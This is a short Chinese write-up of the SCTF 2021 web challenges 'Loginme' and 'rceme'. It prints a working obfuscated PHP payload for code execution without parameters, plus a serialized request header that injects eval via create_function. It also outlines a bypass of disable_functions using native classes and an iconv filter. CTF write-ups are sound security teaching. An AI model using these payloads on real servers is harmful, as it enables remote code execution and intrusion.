SCTF 2021 题解
SCTF 2021 题解
Web
Loginme
考点
  1. Golang gin CVE-2020-28483 绕过X-Forwarded-For头,使用X-Real-IP头(稍微看下源码)
  1. 一个html/template的模板注入
rceme
简单的无参rce绕过,构造call_user_func(...unserialize(end(getallheaders())));然后在最后一个请求头放上payload,即可任意代码执行。
cmd=[~%9C%9E%93%93%A0%8A%8C%9A%8D%A0%99%8A%91%9C][!%FF](...[~%8A%91%8C%9A%8D%96%9E%93%96%85%9A][!%FF]([~%9A%91%9B][!%FF]([~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C][!%FF]())));&1=phpinfo();
请求头:
a:3:{i:0;s:15:"create_function";i:1;s:0:"";i:2;s:19:"}eval($_POST[1]);/*";}
然后要绕过一长串的disable_functions,发现常见的写文件的方式都被禁用了,我们可以利用原生类来读写文件和列目录。
列目录直接用DirectoryIterator类即可,发现根目录有/readflag文件,需要rce执行它才能拿到flag
最后poc就是利用iconv过滤器绕过disable_functions